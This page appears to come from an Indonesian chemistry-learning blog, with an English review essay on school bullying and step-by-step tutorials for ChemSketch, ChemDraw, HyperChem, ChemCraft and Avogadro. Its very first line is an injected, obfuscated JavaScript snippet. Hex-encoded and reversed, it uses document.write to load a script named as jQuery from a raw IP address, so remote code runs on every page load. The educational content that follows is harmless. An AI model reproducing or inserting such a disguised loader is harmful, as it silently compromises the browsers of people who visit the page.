var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0])); Month: December 2017 - Chemistry Learning

Bullying Behavior in Education

BULLYING BEHAVIOR IN EDUCATION

 INTRODUCTION

One of the formal educational institutions is the school, which has a responsibility in the formation of characters and support the development of potential learners (Januarko 2013). Reality in the school there are still many students who have not achieved optimal development. One of the phenomena that occurs in the world of education today is violence. Violence (bullying) that occurs in schools is usually a direct or indirect violence, both verbal and non verbal violence (Lestari 2016).

According to (Allanson et al. 2015), indicate that there are two types of bullying: direct and indirect. Direct bullying, which includes both physical (hitting, punching, kicking, slapping, pushing, and choking) and verbal bullying (name-calling, threatening, teasing, and spreading rumors that are hurtful about another person and verbal actions), and the indirect Bullying is more psychological in nature such as in spreading rumors, back stabbing, and persuading others to dislike a specific individual.

(Januarko 2013) defines bullying as an act of intimidation by a stronger party to a weaker party. Bullying has a great opportunity to imitate because this negative behavior is most likely done by students (Levianti 2008). Students tend to bully after they themselves have been hurt by stronger people.

(Sucipto 2012) said that bullying behavior is grouped into 5 categories: 1) Direct physical contact, such as hitting, pushing, remembering, grabbing, kicking, pinching, clawing, blackmailing and damaging the belongings of others. 2) Direct verbal contact, such as threatening, humiliating, degrading, disturbing, given the call name (name-calling), criticize, intimidate and spread gossip). 3) Direct non-verbal behaviors, such as cynical look, stick out tongues and display degrading facial expressions. 4) Indirect non-verbal behavior, such as silencing someone, isolating and ignoring. 5) Sexual harassment, sometimes categorized as physical aggression.

Bullying is not only a negative impact on victims but also for bullying. Bullying students have the potential to become criminals from an early age or in the future. Bullying also occurs when the supervision and ethical guidance of teachers is low, schools with very rigid discipline, improper guidance, and inconsistent rules. Class differences, such as seniority, ethnicity, economics, and religion become one of the triggers of bullying. The tradition of seniority is often extended by the students themselves as latent events, for them the desire to continue the issue of seniority exists for entertainment, vengeance, envy, or seeking popularity, continuing tradition, or to continue power (Levianti 2008).

Based on the problem of bullying in school, this review will discuss about, the factors that influence someone do bullying, impact of bullying, and how is alternative or solution to bullying.

FACTORS THAT INFLUENCE A PERSON DOING BULLYING

Many factors that can trigger the occurrence of bullying, among others: temperament and personality with a low control. Aggressive behavior and impulsivity are often associated with Bullying behavior. Indifference and low self esteem and lack of assertion are often associated with victim (Levianti 2008).

According to (Lestari 2016) there are several factors that influence a person doing bullying to others, the factors of the family, the factor of the school environment, the factors of mass media, cultural factors and peer factors.

Family Factor

Some research results indicate that the attitude of parents who are too excessive in protecting their children, making them vulnerable to bullying. The clutter of parental parenting, parental divorce, unstable parents of feelings and thoughts, parents who berate each other, humiliate, quarrel in front of their children, hostile and never get along, trigger depression and stress for the child. A teenager who grows in a family that implements a negative communication pattern such as sarcasm (sharp cynicism) will tend to mimic the habit in their daily lives.

School Factor

The tendency of schools that often ignore the existence of bullying to make students who become bullying actors increasingly gain reinforcement against the behavior. In addition, bullying can occur in schools if the supervision and ethical guidance of teachers is low, schools with very rigid discipline, improper guidance and inconsistent rules. Students tend to cover up this and solve it with their playmates at school to reflect independence.

Mass media

According to research that has been done states that 56.9% of children imitate the scenes of the movie he watched, generally they imitate his movements (64%) and his words (43%). This can create violent and violent child behavior which further triggers bullying by children against their friends at school.

Cultural Factors

Criminal factors of culture became one of the causes of the emergence of bullying behavior. The chaotic political atmosphere, the uncertain economy, prejudice and discrimination, conflicts in society, and ethnocentric, can encourage children and adolescents to become depressed, stressed, arrogant and abusive.

Peer Friend Factor

Peer groups who have problems at school will have a bad impact on other friends such as behaving and saying harshly to teachers or fellow friends and ditching. Children when interacting in school and with friends around the house, sometimes encouraged to do bullying. Some children do bullying to prove to their peers to be accepted into the group, even though they are not comfortable doing so.

According to opinion (Benítez & Justicia 2006) the factors that influence a person doing bullying are:

Personality, Temperament, impulsiveness

Certain personal characteristics such as sociability or impulsiveness can explain how one reacts in certain situations. Several studies have found a relationship between violent behavior, impulsiveness and the child’s temperament. A temperament characterized by high levels of activity, inflexibility, difficulty in life transition and being prone to frustration and distraction makes the child less understanding, have less self control and be more impulsive.

Intelligence, School achievement and social adjustment

Longitudinal studies have shown the relationship between low verbal intelligence, low school performance, lack of problem-solving skills and precarious social skills with the risk of being aggressive and behaving violently.

Characteristics of the family home and parents’ child-rising style

The family is the first socialization model for children, and doubtless is the key element in the origin of violent behaviors. A large number of studies have investigated family influence as a predictive factors of violent behavior. Family destructing: change in traditional roles, absence of one parent, lack of attention. Abuse and violent modeling in the nuclear family, where the child learns to solve conflicts using physical harm or verbal aggression. Family models where one learns that power is exerted by being the strongest, with a lack of negotiation and dialogue. Lack of affection between s pouses, with absence of security and emotional warmth

  • BULLYING IMPACTS

Victims or offenders have distinctive characteristics. Characteristics of victims of bullying are those whose appearance of daily behavior is different in body size physically smaller, taller or heavier than most children or adolescents whose age comes from ethnic or cultural backgrounds that are different from most children or adolescents in the neighborhood have the ability Or special talents of certain ability limitations such as attention decit hyperactivity disorder (ADHD), learning disorders mental retardation and others.

Generally a child or teen bullying victim is a child who is easily nervous anchors always feel insecure, shy, quiet, low self-esteem has physical defects or mental behavior problems or neurological development disorders. While the characteristics of children or adolescents bullying is hyperactive, aggressive, destructive, enjoy dominance over other children or adolescents, tend to be angry, irritable and have a low tolerance of frustration. They also tend to be difficult to process social information (Surilena 2016).

One of the most obvious effects of bullying is the disruption of physical health. Some of the physical effects that are usually caused by bullying are headache, sore throat, flu, cough, chapped lips, and chest pain. Even in extreme cases such as incidents occurring in IPDN, this physical impact can result in death. Other impacts that are less visible, but the long-term effects are decreased psychological well-being and poor social adjustment.

The difficulty of adjusting to the social environment also arose in the victims. They want to move to another school or get out of school, and even if they are still in school, they are usually disturbed academic achievement or often intentionally not to go to school. The most extreme of these psychological outcomes is the possibility of psychological disorders in the victims of bullying, such as excessive anxiety, fear, depression, suicide, and post-traumatic stress disorder (Levianti 2008).

Other impacts that are less visible, but the long-term effects are decreased psychological wellbeing and poor social adjustment. From the research that has been done, when experiencing bullying the victim feels a lot of negative emotions (anger, resentment, irritation, distress, fear, shame, sad, uncomfortable, threatened) but helpless face it. In the long run this emotion can lead to the emergence of low self-esteem that he is not worth (Sucipto 2012).

ALTERNATIVE SOLUTIONS ON BULLYING

Bullying has become a global problem that can not be ignored anymore. Many things must be done to save the psychological development of children and adolescents. Early violence is not part of their psychological development, therefore many elements must be involved, both parents, the school, and even the government. According to (Sucipto 2012) there are several things that can be done to prevent among others: 1) parents get used to giving positive feed back to children so they learn good social behavior and good and get the appropriate interaction model, not like bullying and aggression . Use an alternative punishment to a child by not involving physical or psychological violence. In addition, parents want to establish relationships and consultation with the school if the child becomes a bully or a victim. 2) the school creates a positive and conducive environment, for example by practicing discipline without resorting to the punishment of violence.

Equally important to raise the awareness of the school not to ignore the bullying behavior in the school environment. Efforts that teachers and parents need to make to deal with bullying behavior in the school environment. Observe the child’s symptoms – symptoms changes, and immediately do approach him. Calm in the act, assuring the child that he has to get protection from the bullying behavior Report to the teacher / school side for immediate investigation Request counselor (teacher BK) school to investigate what had happened. Ask the school to give you info on what exactly has   happen Teach children ways of dealing with bullying

Strategies Facing Bullying in schools are, teach students to hide anger or sadness. When he seemed to react the bullying will be happy. Teach children to look at the eyes of the bullying. Teach children to stand upright, heads up in the face of bullying. Not walking alone. Stay calm under any circumstances. When in danger immediately step aside.

A more effective solution is a program that makes the social system the goal of change, rather than just focusing on individual changes from both the offender and the victim. One of the most comprehensive programs aimed at tackling bullying and proving effective is the bully busters program. The focus of this program is to change the social system so that the appearance of bullying can be avoided. The program has several key principles:

The first major principle is that changing the environment is more powerful than changing individuals per individual. Problem bullying should be seen as a function of interaction between two parties, so in changing both parties (the perpetrator and the victim) must be changed and the pattern of relationship and interaction between the two must also be changed.

The second principle, prevention is better than intervention. This principle is a basic principle that is always used in various problems that occur, however the prevention of bullying problems is more important than intervention after the bullying.

The third principle, namely that in changing the environment needed support and understanding from various parties, especially teachers. Classroom management, establishing rules that apply in the classroom and developing solutions to problematic problems while at the same time still being demanded by standards is a task that is not easy (Hidayati 2012).

In intervening on bullying issues, there are eleven approaches to bullying in schools, both preventive and intervention, namely: first, approaching policy. Second, motivate students. Third, create a classroom atmosphere by creating a good relationship in the classroom. Fourthly, the curriculum provides information on what bullying is, the impact it has on the victim and the help that students get. Fifth, overcoming social prejudice and unwanted attitudes such as SARA. Sixth, supervision and monitoring of student behavior outside the classroom. Seventh, involving students who have been trained as group mediators to help and resolve conflicts. Eighth, giving a form of non-physical penalty or sanctions. Ninth, involving parents of bullying victims and bullying actors and inviting them to come to school and to discuss how bullying behaviors can be changed. Tenth, organizes a community conference, where victims are encouraged to express their grief in the presence of people who have bullied and also with friends or supporters of those involved in bullying events. Eleventh, other approaches aimed at impacting students’ positive behavior change in bullying. This research uses behaviorism theory (Arini 2016).

CONCLUSION

Bullying is an act of intimidation by a stronger party against a weaker party. Bullying has a great opportunity to imitate because this negative behavior is most likely done by students. Factors that influence a person doing bullying is a factor of family, school, culture, mass media and peers. One of the most obvious effects of bullying is the disruption of physical health. The difficulty of adjusting to the social environment also arose in the victims. Other impacts that are less visible, but the long-term effects are decreased psychological wellbeing and poor social adjustment. A more effective solution is a program that makes the social system the goal of change, rather than just focusing on individual changes from both the offender and the victim.

REFERENCES

Allanson, P.B. et al., 2015. A History of Bullying. , 2(12), pp.31–36.

Benítez, J.L. & Justicia, F., 2006. Bullying : description and analysis of the phenomenon. , 4(9), pp.151–170.

Januarko, Wahyu.,2013. STUDI TENTANG PENANGANAN KORBAN BULLYING PADA SISWA SMP SE- KECAMATAN TRAWAS A STUDY ABOUT BULLYING VICTIM HANDLING TO THE JUNIOR HIGH SCHOOL STUDENT ’ S IN. , (20).

Hidayati, N., 2012. Bullying pada Anak : Analisis dan Alternatif Solusi. , 14(1), pp.41–48.

Lestari, W.S., 2016. ANALISIS FAKTOR-FAKTOR PENYEBAB BULLYING DI KALANGAN PESERTA DIDIK. , 3(2), pp.147–157.

Sucipto., 2012. Bullying dan upaya meminimalisasikannya. , 1(1).

Arini, Fellinda., 2016. STRATEGI GURU DALAM MENGATASI PERILAKU BULLYING DI SMP NEGERI 1 MOJOKERTO Fellinda Arini Putri Totok Suyanto. , 1(1), pp.62–76.

Levianti., 2008. Konformitas dan bullying pada siswa. , 6(1), pp.1–9.

Surilena., 2016. Perilaku Bullying ( Perundungan ) pada Anak dan Remaja. , 43(1), pp.35–38.

 




Portofolio




Tutorial Chemsketch (III)

Cara Menggambar Struktur Lewis Menggunakan ChemSketch

Penggambaran struktur molekul menurut Lewis merupakan gambaran yang masuk akal yang bisa diterima selama ini. Visualisasinya biasanya menggunakan dot atau tanda x atau yang lain, boleh juga menggunakan variasi warna. Tujuan penggambaran ini hanyalah untuk memudahkan siapa saja yang ingin memahami struktur atom atau molekul. Cara menggambar struktur Lewis dengan ChemSketch adalah sebagai berikut:

1. Jalankan program Chemsketch dengan mengklik Start > All Program > ACDLABS 12.0 > ChemSketch.

2. Klik F5 atau klik menu Templates > Template Window, maka akan muncul tampilan seperti berikut:

Apabila pada list tidak terdapat pilihan struktur Lewis, maka dapat klik ‘Organizer’ lalu check pada ‘Lewis Structures’.

3. Pilih model struktur Lewis yang diinginkan dengan meng-klik-nya dan kemudian klik pada area kerja ChemSketch. Misal saya memilih struktur Lewis dari CH4.

4. Apabila ingin mengkopi struktur Lewis tersebut, maka pindahkan dari mode Structure ke mode Draw dan aktifkan (klik) ‘Select/Move/Resize’.

5. Klik struktur Lewis tersebut kemudian kopi dengan tombol Ctrl+C atau klik Edit > Copy.

6. Buka pengolah kata yang biasa anda pakai.

7. Letakkan (paste/rekat) pada posisi yang diinginkan, kemudian tekan tombol Ctrl+V atau klik menu Edit > Paste pada area kerja pengolah kata tadi.

Apabila ingin menambah model Lewis yang tidak tersedia dalam Template Windows ChemSketch, maka kita dapat membuat dan memodifikasi sendiri template yang belum tersedia dengan cara sebagai berikut:

1. Buat model struktur Lewis secara manual pada mode Draw. Gunakan atau aktifkan Tool Edit Texts yang berada tepat di bawah ‘Draw’.

2. Mulailah menggambar struktur Lewis satu persatu dan dengan menggunakan beberapa template yang tersedia (seperti dot dll). Misal, ingin membuat struktur Lewis dari PCl3 dapat dibuat seperti berikut:

3. Setelah selesai menggambar struktur Lewis yang diinginkan, lakukan grouping dengan cara seleksi semua gambar tadi lalu klik ‘Group’ atau klik menu Object dan pilih Group.

Untuk mengkopi bagian tertentu tekan tombol Ctrl sambil men-drag apa yang akan dikopi kemudian meletakkan di sisi lain. 4. Setelah selesai pada menu Templates klik Save User Template, maka akan muncul tampilan seperti berikut:

Isikan nama template dan tempat penyimpanan template yang anda buat pada folder tertentu. 5. Template siap digunakan dan secara otomatis ada dalam jendela template windows.




Tutorial Chemsketch (II)

Cara Menggambar Struktur Molekul dengan ChemSketch

1. Buka aplikasi Chemsketch untuk memulai membuat/ menggambarkan struktur dari senyawa. Maka akan muncul tampilan seperti pada gambar di bawah.

2. Mulailah menggambar! Untuk kasus kedua, kita akan menggambar sendiri struktur kurkumin, suatu senyawa yang berupa polifenol dengan rumus kimia C21H20O6. Struktur dari kurkumin adalah:

3. Aktifkan tombol Draw Chains atau yang di bagian kiri atas editor. Rangkailah secara manual dengan memanfaatkan beberapa menu file dari aplikasi ini untuk mengikuti gambar struktur kurkumin seperti di atas. Dan hasilnya adalah:

4. Untuk mengetahui nama sistematik dari struktur yang kita gambar, kliklah menu Tools > Generate >Name for Structure atau ikon pada bagian atas kanan editor atau gunakan shortcut Ctrl+Shift+I. Nama senyawa akan muncul pada bagian bawah struktur.

Padanan nama dari (1E,6E)-1,7-bis(4-hydroxy-3-methoxphenyl)hepta-1,6-diene3,5-dione adalah kurkumin.

5. Untuk melihat 3D struktur dari senyawa kurkumin dapat dilakukan dengan cara:

*Mengklik menu “ACD/Labs”

*Mencentang “3D Viewer (Freeware)”

*Maka akan muncul tampilan seperti ini:

Setelah itu copy struktur yang kita buat tadi ke 3D Viewer. Sebelumnya kembalikan tampilan struktur 2D nya dengan mengklik 1-ChemSketch seperti pada gambar dibawah ini :

Maka tampil sebagai berikut. Setelah itu klik 2-Copy to 3D.

Maka akan muncul tampilan 3D seperti ini:

6. Untuk menyimpan file dalam bentuk gambar.

* Tekan Shift + F2 untuk Save As, lalu ubah isian pada kolom Safe as Type dengan “GIF Images”. Lalu klik Save.

Hasilnya bisa dilihat pada folder penyimpanan tadi.

Atau dapat dimodifikasi dengan memanfaatkan beberapa menu file dari aplikasi ini seperti pada gambar berikut:

Untuk menyimpan file di atas dalam bentuk gambar dapat dilakukan seperti pada langkah 6.




Tutorial Chemsketch (I)

Cara Menggambar Struktur Molekul dengan ChemSketch

ChemSketch adalah aplikasi yang berfungsi untuk menggambar dan memodelkan struktur kimia. Software ChemSketch dapat menggambar struktur kimia dalam bentuk 2D dan 3D. Program ini juga menyediakan struktur asam amino, alkaloid, karbohidrat, asam nukleat, DNA/RNA, lab kit (peralatan laboratorium kimia), orbital, senyawa phospor, dll. Software ini juga menyediakan penggambaran kurva dan grafik. ChemSketch dikeluarkan oleh ACD/labs.com yang didownload secara gratis (freeware). Berikut cara menggambar struktur molekul dengan ChemSketch:

1. Jalankan program Chemsketch dengan mengklik Start > All Program > ACDLABS 12.0 > ChemSketch. Sehingga muncul tampilan seperti berikut:

Klik OK agar kita sampai pada layar editor.

2. Mulailah menggambar! Untuk menggambar struktur kita bisa menggunakan template yang sudah ada atau kita bisa menggambar sendiri. Untuk kasus pertama, kita akan menggambar sendiri struktur pentanol, suatu senyawa dalam golongan alkohol yang mengandung 5 atom karbon.

3. Aktifkan tombol Draw Chains atau yang di bagian kiri atas editor. Dalam editor klik dan tarik rantai sampai muncul tulisan C 5 pada ujung rantai sehingga diperoleh gambar rantai seperti berikut.

4. Selanjutnya kita akan menambahkan gugus -OH. Aktifkan tombol Oxygen
yang ada di sebelah kiri editor, kemudian tambahkan gugus -OH pada ujung rantai dengan cara mengklik salah satu gugus -CH3. Hasilnya adalah struktur pentanol seperti berikut.

5. Untuk menambahkan cabang, klik tombol Carbon  pada bagian samping editor karena cabang akan ditambahkan adalah rantai karbon. Selanjutnya letakkan cursor pada sudut (-CH2-) yang kita inginkan. Kemudian sambil diklik kiri tarik ke atas atau ke bawah untuk menambah rantai karbon sesuai keinginan. Pada contoh ini, kita menambah 2 atom karbon pada C nomor 2 dari kanan. Hasilnya terlihat seperti berikut.

6. Untuk mengetahui nama sistematik dari struktur yang kita gambar, kliklah menu Tools > Generate >Name for Structure atau ikon pada bagian atas kanan editor gunakan shortcut Ctrl+Shift+I. Nama senyawa akan muncul pada bagian bawah struktur.

Dalam Bahasa Indonesia padanan nama 2-ethylpentan-1-ol adalah 2-etil-1pentanol.

7. Sofware ini juga menyediakan fitur untuk menghitung sifat-sifat fisika suatu senyawa. Untuk menggunakannya, klik ikon Select/Move atau kemudian pilih struktur yang telah kita buat.

Setelah itu pilih menu Tools > Calculate > All Properties dan sifat-sifat fisika senyawa pun muncul.




Tutorial Chemdraw

Menggambar Senyawa dengan ChemDraw

Chemdraw merupakan software kimia dari produk Cabridgesoft.inc. ChemDraw memiliki banyak fungsi, diantaranya membuat nama dan struktur senyawa, membuat struktur streokimia dengan benar dari nama kimia, dan mendapatkan nama IUPAC dengan akurat dari struktur. Perkiraan spektra NMR dari struktur suatu senyawa dengan atom langsung dengan korelasi spektral. Selain itu, ChemDraw dilengkapi dengan peringatan jika terjadi kesalahan dalam pembuatan struktur kimia. Peringatan tersebut biasanya berwarna merah dan mengelilingi bagian struktur yang salah. Berikut cara membuat senyawa N-(4-hydroxyphenyl)ethanamide atau yang biasa disebut parasetamol:

1. Bukalah program ChemDraw, maka muncul tampilan awal ChemDraw seperti ini: 2. Pilih “solid bond” pada toolbox sebelah kiri.

3. Selanjutnya barulah di gambar membentuk parasetamol dengan cara klik mouse kiri tahan dan geser.

4. Semua standar penulisan pada ChemDraw ini menggunakan atom karbon. Jenis atom karbon ini dapat kita ganti dengan cara double klik pada bagian yang kita inginkan untuk dirubah lalu mengisinya dengan senyawa tertentu dan yang perlu diperhatikan harus menggunakan huruf kapital.

Gambar di atas merupakan gambar secara 2D. Untuk mengubahnya menjadi 3D dapat menggunakan toolbox baji hitam. Dengan itu kita nantinya akan mendapatkan stereokimia dari senyawa tersebut. 5. Fasilitas lain yang ada dalam ChemDraw ini adalah simulasi NMR 13C dan 1H. Fasilitas ini dapat ditemukan pada bagian menu file “estimate” urutan kedua dari kanan. Berikut hasilnya:




Tutorial Hyperchem

Membuat Bentuk Molekul dengan Hyperchem

HyperChem ialah suatu program simulasi dan pemodelan molekular yang memungkinkan perhitungan kimiawi yang kompleks. Software ini dapat digunakan untuk menggambar struktur kimia, optimasi geometri dengan berbagai macam model, study molecular dinamik dasar, study QSAR, dll. Berikut cara membuat molekul dengan Hyperchem:

1. Dengan menggunakan Windows, kita mulai dari klik Start, All Program, Hyperchem Release x, Hyperchem.

2. Selanjutnya ikuti langkah pada gambar berikut.

3. Ini hasilnya setelah dipilih Atom P dan di-klik-kan pada area kerja.

4. Berikutnya add hidrogen dari menu Build kemudian klik Add hidrogen untuk memunculkan atom H, meskipun atom H tampilannya bertumpuk kita bisa memutar dengan klik tool rotate out of plane sesuai langkah yang terterah pada gambar. Cara menyeleksi atom H yang akan diganti dengan Cl adalah dengan klik tool select hingga berubah warna.


5. Selanjutnya ubah atom H dengan atom Cl hingga atom H menjadi Cl, caranya klik menu Build, Default Element (akan muncul semacam tabel periodik dan pilih Cl), klik-kan tepat di tengah bulatan seleksi atom H tadi, kalau sudah berubah menjadi Cl artinya sudah terganti H menjadi Cl. Lakukan pada semua H sebagaimana yang diinginkan.


6. Lakukan optimasi geometri agar bentuk molekulnya menjadi benar secara kimia komputasi dengan standar hitungan dengan menggunakan salah satu metode, misalnya di sini saya gunakan metode Molecular Mechanic. Klik menu Setup pada menu bar. Klik Molecular Mechanic hingga tercentang terus klik Ok.

7. Selanjutnya kita lakukan optimasi geomteri terhadap bentuk molekul yang kita buat. Klik menu Compute, Klik Geometry Optimation… dan klik Ok saja begitu menu pop-up muncul. Selanjutnya tunggu hingga proses optimasi selesai yang ditandai dengan Converged = YES. (ini ada pada bagian status bar, terletak dibagian bawah layar kerja Hyperchem.


8. Berikut kalau kita ingin menampilkan hasil dalam berbagai model, seperti yang ditawarkan pada menu Display, Rendering, pilih metode rendering yang kita inginkan.


9. Berikut tampilan beberapa hasil rendering:

Demikian cara menggambar bentuk molekul dengan menggunakan Hyperchem.




Tutorial Chemcraft

Menggambar Senyawa Pada Aplikasi ChemCraft

ChemCraft merupakan salah satu software kimia komputasi yang sangat membantu dalam pengerjaan modek-model kimia.
Berikut cara membuat gambar senyawa dari struktur alkena :

1. Pastikan sudah mempunyai software ChemCraft dan sudah terinstall

2. Bukalah program ChemCraft, maka akan muncul tampilan awal ChemCraft seperti ini :

3. Lalu klik Edit pada menu bar

4. Kemudian pilih Add Fragment, seperti gambar dibawah ini : 5. Setelah muncul kotak seperti pada gambar dibawah ini, maka sobat terserah akan menggambar yang mana. Seperti contoh saya ingin mengambar struktur alkena atau ikatan rangkap dua. Maka bisa klik -R- → -CH=CH-

6. Setelah dipilih, maka akan muncul gambar seperti ini. Berikut hasil gambar dari struktur alkena :




Tutorial Menggunakan Avogadro

Avogadro merupakan aplikasi editor molekul yang bisa dikatakan canggih, dimana aplikasi ini dirancang untuk berbagai jenis platform sistem operasi, yang salah satunya adalah sistem operasi Linux BlankOn. Melalui aplikasi ini kita dapat dengan mudah membuat animasi senyawa tertentu seperti yang diinginkan sekaligus melakukan editing dari senyawa yang telah kita rancang. Lalu, apa yang dapat dilakukan Avogadro? Yang dapat dilakukan Avogadro meliputi:

  1. Dapat melakukan pengunduhan secara langsung dari PDB (protein data bank) atau PubChem (database dari molekul kimia dan aktivitasnya terhadap uji biologis)
  2. Inovatif “auto-optimation”, alat yang memungkinkan Anda untuk terus membangun dan memodifikasi, selama optimasi mekanika molekular.
  3. Antarmuka untuk banyak paket komputasi umum.
  4. Plugin yang memungkinkan Avogadro untuk diperpanjang dan disesuaikan.
  5. Embedded interpreter Python.
  6. Terjemahan tersedia dalam 19 bahasa lebih, termasuk antar muka juga sudah bisa berbahasa Indonesia, tersisa hanya beberapa bagian saja yang belum dialihbahasakan.
  7. Cross-Platform: Molekul pembangun / editor untuk Windows, Linux, dan Mac OS X.
  8. Intuitif: Dibangun untuk dapat digunakan dengan mudah bagi mahasiswa dan peneliti lebioh lanjut.
  9. Cepat: Mendukung multi-threaded rendering dan komputasi.
  10. Extensible: Plugin arsitektur bagi pengembang, termasuk rendering, tool interaktif, perintah, dan skrip Python.
  11. Fleksibel: Fitur OpenBable yang dapat digunakan untuk impor file-file kimia lain, input untuk beberapa paket kimia komputasi, kristalografi, dan biomolekul.

      Nah sekarang saya akan memberikan informasi sedikit tentang cara menggunakan aplikasi avogadro.

a. Pertama adalah buka aplikasi avogadro, maka akan muncul tampilan seperti dibawah ini.

b. Jika Background hitam kurang menarik, teman-teman bisa mengganti Background tersebut. dengan cara klik View menu → set background color. Pilih warnayang Anda kehendaki.

c. Untuk memulai membuat bentuk molekul, cara yang pertama adalah klik tool settings. kemudian pada kolom Elementkita ambil atom karbon (jenis atom sesuai kehendak teman-teman), pada Bond Order pilih single (untuk membuat ikatan rangkap 2 klik double, untuk rangkap tiga klik triple), kemudian klik pada layar gambar, tahan dan geser hingga terbentuk ikatan antar atom. Maka akan muncul tampilna seperti di bawah ini.

d. Apabila atom yang kita inginkan tidak ada pada list, maka kita dapat klik other untuk memunculkan tabel periodik unsur dan memilih atom yang kita inginkan dengan meng-klik atom tersebut.

d. Selanjutnya setelah molekul selesai dibuat, teman-teman bisa memanfaatkan toolbardari aplikasi ini untuk melihat secara lebih detil dari atom yang kita buat dengan penjelasan masing-masing toolbar sebagai berikut :

fungsi ikon ini adalah untuk membuat molekul serta membuat ikatan diantara atom-atom pada ruang gambar.

fungsi ikon ini adalah untuk merotasi desain molekul yang kita buat.

fungsi ikon ini adalah untuk melihat sudut kemiringan molekul secara vertikal dan horisontal.

fungsi ikon ini adalah untuk merotasi desain molekul pada gerakan yang bebas.

fungsi ikon ini adalah untuk menjalankan animasi rotasi ke berbagai arah sesuai dengan garis arah mouse.

fungsi ikon ini adalah untuk merotasi desain molekul yang kita buat.

fungsi ikon ini adalah untuk merotasi desain molekul yang kita buat.




Tutorial Install Avogadro

1.  Pada kotak dialog Setup (Install Option ) pilih directory “Do not add Avogadro to the system PATH” dan centang pada Create Avogadro Desktop Icon seperti pada gambar berikut.

2. Pada kotak Setup (Choose Install Location) kalian pilih Destination Folder yang kalian inginkan untuk menyimpan File Avogadro. Atau dapat kalian pilih sama seperti digambar berikut.

3. Kemudian pilih Install. Maka akan muncul kotak dialog proses instalasi seperti berikut. Dan tunggu hingga prosesnya selesai.

4. Klik finish apabila proses instalasi sudah selesai.